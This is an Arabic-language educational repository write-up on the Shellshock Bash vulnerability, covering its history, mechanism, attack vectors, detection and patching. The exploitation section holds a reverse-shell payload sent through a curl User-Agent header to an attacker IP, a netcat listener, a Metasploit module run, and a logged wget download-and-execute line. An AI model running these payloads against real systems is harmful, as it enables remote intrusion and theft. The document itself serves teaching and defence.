
مستودع تعليمي يوضح بالتفصيل ثغرة Shellshock (CVE-2014-6271)، ويشمل تحليلاً تقنياً، ونواقل الهجوم، وإثبات المفهوم للاستغلال، وخطوات التخفيف لحقن متغيرات البيئة في Bash.
____ _ _ _____ _ _ ____ _ _ ___ ____ _ __
/ ___|| | | | ____| | | | / ___|| | | |/ _ \ / ___| |/ /
\___ \| |_| | _| | | | | \___ \| |_| | | | | | | ' /
___) | _ | |___| |___| |___ ___) | _ | |_| | |___| . \
|____/|_| |_|_____|_____|_____|____/|_| |_|\___/ \____|_|\_\
تنفيذ الأوامر عن بُعد عبر حقن متغيرات بيئة باش
"ثغرة ظلت مخفية في باش لعقود وهزت أسس الإنترنت في أقل من 24 ساعة."
شيلشوك (المعروف أيضًا باسم باشدور) هو عائلة من الثغرات الحرجة في مترجم الأوامر GNU Bash تسمح للمهاجم عن بُعد بتنفيذ أوامر اعتباطية على النظام المستهدف.
الخطأ الأساسي: لم يكن باش يتوقف عن تحليل متغير البيئة عند انتهاء تعريف الدالة. أي كود مُلحق بعد () { :; }; كان يُنفَّذ تلقائيًا.
متغير بيئة → تعريف دالة → [هنا يُنفَّذ كود إضافي] ← خطأ
ونظرًا لأن خوادم الويب (CGI/Apache)، وخدمات SSH، وعملاء DHCP يُحوِّلون الرؤوس أو المعلمات إلى متغيرات بيئة باش، كانت مساحة الهجوم هائلة.
12 سبتمبر 2014 ──── يكتشف ستيفان شازلاس الخلل ويبلغ به شيت رامي (مُطوِّر باش)
الخلل موجود في باش منذ أكثر من 20 عامًا.
24 سبتمبر 2014 ──── الكشف العلني + نشر التصحيح (CVE-2014-6271)
بعد ساعات: شبكات بوت نشطة تمسح الإنترنت بشكل هائل.
25-30 سبتمبر 2014 ── اكتشاف ثغرات ذات صلة:
CVE-2014-6277, CVE-2014-6278, CVE-2014-7169,
CVE-2014-7186, CVE-2014-7187
أكتوبر 2014 ──────── تسجيل ملايين الهجمات. مُقارَنة من حيث الشدة مع هارت بليد.
عندما يستورد باش دالة من متغير بيئة، يقرأ حتى إغلاق } الخاص بالدالة. في الإصدارات المعرضة، كان يستمر في معالجة الكود التالي بدلاً من التوقف.
# متغير بيئة خبيث:
SHELLSHOCK='() { :; }; /bin/cat /etc/passwd'
# باش معرض عند التشغيل:
# 1. يقرأ تعريف الدالة → حسنًا
# 2. يجد }; → يجب أن يتوقف
# 3. يَستمر → ينفذ /bin/cat /etc/passwd ← خطأ
المهاجم خادم Apache (CGI) باش (معرض)
│ │ │
│ طلب HTTP │ │
│ User-Agent: () { :;}; cmd │ │
│──────────────────────────────▶│ │
│ │ يُحوِّل الرؤوس إلى متغيرات بيئة │
│ │ HTTP_USER_AGENT=() { :;}; cmd │
│ │───────────────────────────────▶│
│ │ │ ينفذ الأمر
│ │ │ كمستخدم www-data
│◀──────────────────────────────│◀───────────────────────────────│
│ استجابة + مخرجات الأمر │ │
env x='() { :;}; echo VULNERABLE' bash -c "echo this is a test"
النتيجة في نظام معرض:
VULNERABLE
this is a test
النتيجة في نظام مصحَّح:
this is a test
(أو خطأ نحوي — لا يطبع أبدًا "VULNERABLE")
خوادم الويب التي تستخدم نصوص .cgi تُحوِّل رؤوس HTTP إلى متغيرات بيئة باش.
الرؤوس المتأثرة: User-Agent, Referer, Cookie, X-Forwarded-For, وأي رأس مخصص
# إذا كان الخادم يحتوي على ForceCommand، يمكن للمهاجم بمفتاح صالح تجاوزه
ssh user@target '() { :;}; /bin/bash'
خوادم DHCP خبيثة يمكنها حقن متغيرات بيئة في العملاء الذين يستخدمون باش لمعالجة استجابة DHCP.
# أي عملية ترث متغيرات بيئة وتنفذ باش
env VAR='() { :;}; comando_malicioso' bash -c "script_legítimo"
nc -lvnp 4444
# الحمولة التي تُحقَن في User-Agent
() { :;}; /bin/bash -i >& /dev/tcp/IP_ATACANTE/4444 0>&1
curl -H "User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/192.168.1.10/4444 0>&1" \
http://sitio-vulnerable.com/cgi-bin/test.cgi
Connection received from 10.10.10.50
bash: no job control in this shell
sh-4.1$ id
uid=48(apache) gid=48(apache) groups=48(apache)
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS <target>
set TARGETURI /cgi-bin/test.cgi
set LHOST <your_ip>
run
# ابحث عن النمط المميز في access.log
grep -E "\(\)\s*\{" /var/log/apache2/access.log
# مثال على سجل خبيث:
# "() { :;}; wget http://malware.com/bot -O /tmp/x && chmod +x /tmp/x && /tmp/x"
# عمليات فرعية لـ www-data/apache لا ينبغي أن تكون موجودة
ps aux | grep www-data | grep -v grep
netstat -antup | grep ESTABLISHED
- ملفات تنفيذية جديدة في /tmp, /var/tmp, /dev/shm
- اتصالات صادرة من خادم الويب إلى عناوين IP غير معروفة
- تعديل /etc/crontab أو /etc/passwd
- عمليات باش قيد التشغيل كمستخدم www-data بدون طرفية
# دبيان / أوبونتو
sudo apt-get update && sudo apt-get install --only-upgrade bash
# RHEL / CentOS / فيدورا
sudo yum update bash
# التحقق من الإصدار المصحَّح (يجب أن يظهر "patches")
bash --version
# GNU bash, version 4.3.30(1)-release → معرض
# GNU bash, version 4.3.33(1)-release → مصحَّح (يختلف حسب التوزيعة)
# يجب أن يعيد فقط "this is a test" — أبدًا "VULNERABLE"
env x='() { :;}; echo VULNERABLE' bash -c "echo this is a test"
# 1. تعطيل CGI إذا لم يكن ضروريًا
a2dismod cgi
# 2. قاعدة WAF لحظر النمط
# في ModSecurity:
SecRule REQUEST_HEADERS "@rx \(\)\s*\{" "id:1001,phase:1,deny,msg:'Shellshock Attempt'"
# 3. مراقبة مستمرة للسجلات
tail -f /var/log/apache2/access.log | grep -E "\(\)\s*\{"
هذا المستودع مخصص حصريًا للأغراض التعليمية، وبحوث الأمن السيبراني، وعمليات التدقيق الأمني المصرح بها. جميع المعلومات المقدمة هنا هي في المجال العام. إجراء اختبارات ضد أنظمة دون إذن صريح غير قانوني بموجب قوانين معظم الولايات القضائية. لا يتحمل المؤلف أي مسؤولية عن سوء استخدام هذه المعلومات.
اكتشفه ستيفان شازلاس · نُشر في 24 سبتمبر 2014
CVSS Score: 10.0 (Critical) → عُدِّل لاحقًا إلى 9.8 في CVSSv3
| المنتج | الإصدارات المعرضة للخطر | الحالة |
|---|
| GNU Bash | 1.0.3 – 4.3 | تم التصحيح |
| لينكس (Debian/Ubuntu/CentOS/RHEL) | الإصدارات قبل سبتمبر 2014 | تم التصحيح |
| Apple macOS / OS X | 10.10 وما قبله | تم التصحيح (التحديث الأمني 2014-005) |
| أجهزة إنترنت الأشياء المضمنة مع باش | متعددة | يختلف حسب المُصنِّع |
| خوادم ويب تستخدم CGI فوق Apache | أي إصدار به باش معرض | تم التصحيح |